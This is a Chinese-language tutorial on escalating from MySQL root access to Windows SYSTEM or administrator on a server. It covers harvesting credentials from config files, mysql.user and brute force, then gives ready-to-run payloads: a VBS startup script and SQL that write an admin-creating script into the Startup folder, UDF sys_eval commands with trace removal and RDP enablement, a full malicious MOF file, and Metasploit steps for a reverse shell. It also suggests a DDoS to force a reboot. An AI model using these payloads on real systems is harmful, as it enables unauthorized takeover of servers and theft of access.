提权-MySQL数据库提权
数据库提权条件
1.服务器开启了数据库服务。
2.知道数据库最高权限帐号密码。
除了access数据库外,其他数据库都有提权的可能。
探针服务器数据库应用方法
1.端口扫描
通过端口判断是都运行了数据库服务。
常见数据库默认端口:
Oracle — 1521
MySQL — 3306
SQL Server — 1433
PostgreSQL — 5432
MongoDB — 27017
Redis — 6379
Memcached — 11211
Kafka — 9092
es启动监听两个端口,9300和9200
有些网站会修改数据库的默认端口,在端口扫描时,发现特殊端口可以写脚本对该端口进行猜测它使用的数据库类型,然后尝试连接来判断。
2.服务
查看系统服务
3.其他。
数据库帐号密码收集方法
1.配置文件
查看网站配置文件
关注:sql data inc config conn database common include等文件。
比较重要的网站上线后,数据库用户给的权限很低,这种在网站配置文件中往往找不到root账户密码。甚至有些网站不会把数据库用户名密码写到配置文件中,有的放在系统环境变量中,有的使用插件其他位置存放,把重点放到后面几种方式中。
2.读取数据库存储文件:
MySQL数据库中数据库用户以及密码存放在mysql下面的 user 表中,可以使用查询语句查询 select * from mysql.user;查询到root用户账户密码。
还有一种方式查看,就是数据库中每一个表都是由 .frm .MYD .MYI 三个文件组成,其中数据存放在 .MYD 文件中,我们找到了.MYD文件就能其中数据,我们到MySQL data目录下找mysql目录找到user 然后读取user.MYD,就能读取到root用户账户密码了。
3.暴力破解
获取数据库root密码,一般我们使用前两种方法居多,如果前两种方法实在用不了,我们才考虑使用暴力猜解。
root账户一般是不支持外联
如果数据库root账户支持远程连接我们可以是使用MSF来暴力破解:
使用MSF auxiliary/scanner/mysql/mysql_login这个模块。
不支持外联的话:
上传脚本到服务器暴力猜解,脚本网上有很多自己搜,或者自己写一个爆破脚本,脚本不重要重要是密码字典。
4.其他方式
MySQL数据库提权方法
UDF:
提权原理:MySQL安装后默认是继承系统权限,我们通过udf(user definedfunction,用户定义函数)通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令,从而获得系统权限。
条件:
1.知道数据库的root用户和密码;
2.mysql可以远程登录;
3.mysql有写入文件的权限,即secure_file_priv的值为空。
MOF
原理:
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。使用mysql的root权限去执行我们上传的mof,隔一定时间这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs是使用cmd命令添加管理员用户。
条件:
1.mysql有root权限
2.secure_file_priv的值为空
3.适用于windows系统,2008系统及以下才可以用
启动项
windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
1.自动化脚本:
在web权限的时候进行提权,先查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。
下面使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码。
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
2.MySQL、sql语句进行启动项提权
链接MySQL按下面操作即可,操作完成之后让服务器重启,test用户就是administrators 了。
use mysql;createtable test(cmd text);insertinto a values(“set wshshell=createobject(“”wscript.shell””)”);insertinto a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insertinto a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select*from a intooutfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;
让服务器重启DDOS攻击。
还可以通过cve漏洞进行提权
演示
1.MySQL - UDF提权
1.获得root账户密码。获取方式上面有讲这里就跳过
2. 执行show variables like ‘secure_file_priv’; 结果为空证明可写入。
3.SELECT @@version%,查看数据库版本
如果 mysql 版本⼤于5.1,udf.dll⽂件必须放置在 mysql 安装⽬录的lib\plugin ⽂件夹下。(当MySQL>5.1,该目录默认不存在)。
如果 mysql 版本⼩于5.1,udf.dll⽂件在 windows server 2003 下放置于c:\windows\system32⽬录,在windows server 2000下放置在 c:\winnt\system32 ⽬录
如果没有lib和plugin文件夹,可以在webshell下直接手动创建两个文件夹,下面两句命令也可以ADS文件流形式创建两个文件夹
select'aaa' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';select'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION'
4.把udf.dll文件上传到这个lib\plugin目录下
udf.dll文件可以在sqlmap或者msf里面获取。
4.udf文件利用:create function sys_eval returns string soname ‘udf.dll’; # 使用udf.dll创建恶意函数sys_eval,函数可以打开sqlmapudf.dll最下面查看,这里我们选择sys_eval即可
select sys_eval(‘whoami’); # 执行查看当前权限,system
select sys_eval(‘net user udfadmin 123 /add && net localgroup administrators udfadmin /add’) #创建一个管理员账号
drop function sys_eval; #销毁函数,简单痕迹清除
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1 # 开启远程桌面,登录udfadmin用户
2.MOF提权
mof文件代码:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 5";
QueryLanguage = "WQL";};
instance of ActiveScriptEventConsumer as $Consumer{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;Filter = $EventFilter;};
原理是使用MySQLroot用户高权限来替换系统mof文件,mof文件每个一段时间会自动执行,来达到提权目的,一般直接创建一个管理员账户。
具体操作:
1.将mof上传至任意可读可写目录下。例如:D:\phpStudy\PHPTutorial\WWW/text.mof
2.使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
SQL语句:select load_file(‘D:\phpStudy\PHPTutorial\WWW/text.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
3. 启动项提权(利用MSF生成)
1.需要获得数据库root账户密码
2.需要开启数据库外联
第一步:
MSF 搜索EXP:search mysql
可以看到 mysql_udf mysql_mof的EXP这里都有。
第二步骤选择这个mysql_start_up并填写参数
use exploit/windows/mysql/mysql_start_up
show options
需要设置数据库password,目标地址,数据库用户名
STARTIUP_FOLDER为启动项的目录,默认的,根据实际情况更改。
写入设置,如果需要反弹shell,则把LOHST设置为自己本机msf的ip
exploit执行,执行成功后msf会把EkQek.exe文件上传到目标服务器,上传的路径为STARTIUP_FOLDER设置的路径(开机自启动的目录)
需要服务器重启这个文件才能被执行。
执行后会返回一个回话到MSF中
版权归原作者 acepanhuan 所有, 如有侵权,请联系我们删除。